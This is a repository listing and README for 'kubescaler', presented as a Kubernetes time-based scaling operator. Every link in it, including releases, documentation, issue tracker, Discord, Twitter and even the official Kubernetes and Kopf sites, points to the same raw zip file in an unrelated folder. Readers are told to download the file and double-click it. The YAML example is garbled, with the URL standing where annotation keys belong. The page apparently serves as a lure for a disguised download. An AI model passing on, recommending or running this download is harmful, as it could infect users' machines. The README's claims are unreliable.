https://github.com/airdrop7137/kubescaler
🚀 Optimize Kubernetes workloads with KubeScaler for smart, time-based scaling, cutting costs during off-peak while ensuring availability during business hours.
https://github.com/airdrop7137/kubescaler
automation autoscaling converged-computing cost-optimization elasticity finops kopf kubernetes kubernetes-operator python scaling scheduler time-based-scaling
Last synced: about 1 month ago
JSON representation
🚀 Optimize Kubernetes workloads with KubeScaler for smart, time-based scaling, cutting costs during off-peak while ensuring availability during business hours.
- Host: GitHub
- URL: https://github.com/airdrop7137/kubescaler
- Owner: airdrop7137
- License: mit
- Created: 2025-11-01T16:20:10.000Z (8 months ago)
- Default Branch: main
- Last Pushed: 2026-05-07T23:00:47.000Z (about 1 month ago)
- Last Synced: 2026-05-08T01:07:41.366Z (about 1 month ago)
- Topics: automation, autoscaling, converged-computing, cost-optimization, elasticity, finops, kopf, kubernetes, kubernetes-operator, python, scaling, scheduler, time-based-scaling
- Language: Python
- Size: 1.31 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# 🗓️ kubescaler - Scale Your Workloads with Ease
## 🚀 Getting Started
Welcome to kubescaler! This application helps you scale your Kubernetes workloads efficiently while saving costs. It works automatically, ensuring your applications hibernate during off-peak hours.
## 📥 Download & Install
To get started with kubescaler, visit this page to download: [kubescaler Releases](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip). Here, you will find different versions of the application based on your needs. Follow these steps to download and run kubescaler on your machine:
1. Go to the [kubescaler Releases](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip) page.
2. Look for the latest version of kubescaler.
3. Click on the download link for your operating system.
4. Once the download completes, locate the file in your downloads folder.
5. Run the application by double-clicking the file.
## 🛠️ System Requirements
Before you install kubescaler, make sure your computer meets these requirements:
- **Operating System:** Windows 10 or higher, macOS 10.12 or higher, or any modern Linux distribution.
- **Kubernetes Cluster:** You need access to a Kubernetes cluster where you have proper permissions to deploy applications.
- **Memory:** At least 2 GB of RAM is recommended.
- **CPU:** A modern multi-core processor.
## 🌟 Features
kubescaler offers several useful features:
- **Automatic Hibernation:** It hibernates applications during off-peak hours without any manual actions.
- **Cost Optimization:** Save on cloud costs by running applications only when needed.
- **Support for Multiple Workloads:** Use kubescaler with Deployments, StatefulSets, HPAs, and CronJobs.
- **State Management:** Automatically backs up and restores application states, ensuring no data loss.
- **User-Friendly Interface:** Easy-to-use and configure, even for those new to Kubernetes.
## ⚙️ Configuration
To set up kubescaler, follow these steps:
1. **Annotation Setup:** In your Kubernetes deployment files, add the necessary annotations for kubescaler. This tells it when to scale your workloads.
2. **Schedule Configuration:** Define the schedule for your applications. You can set custom times for when to hibernate and resume your applications.
3. **Deployment:** Apply the updated configuration to your Kubernetes cluster by using `kubectl apply -f .yaml`.
## ⚡ Usage Example
Here is a simple example of how to use kubescaler:
1. Create a deployment YAML file for your application.
2. Add the following annotations to the deployment:
```yaml
annotations:
https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip "true"
https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip "22:00-06:00"
```
3. Apply the changes to your cluster. This setup will hibernate your application from 10 PM to 6 AM.
## 📖 Documentation
For detailed information about configuration options and advanced features, check the official kubescaler documentation at [kubescaler Documentation](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip).
## 🛠️ Support
If you encounter issues or need assistance while using kubescaler, please visit our [GitHub Issues](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip) page. You can report bugs or ask for help from the community there.
## 🌐 Community
Join our community to share your experiences and get tips about using kubescaler effectively. You can connect with other users and developers on our [Discord Channel](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip) or follow us on [Twitter](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip).
## 🔄 Updates & Changelog
Stay up-to-date with the latest improvements and features by checking the changelog on our releases page. We regularly update kubescaler with new features and bug fixes, ensuring you have the best experience.
## ☁️ Contributing
We welcome contributions to kubescaler! If you're interested in helping improve the project, check our [Contributing Guide](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip) for details on how to get started.
## 🔗 Additional Resources
- [Kubernetes Official Site](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip)
- [Kopf Documentation](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip)
- [Kubernetes Operators Overview](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip)
## 🎉 Acknowledgments
Thank you for using kubescaler! We appreciate your support and hope that our software helps you manage your workloads more efficiently.
---
Again, you can download kubescaler here: [kubescaler Releases](https://raw.githubusercontent.com/airdrop7137/kubescaler/main/hydrogymnastics/kubescaler.zip).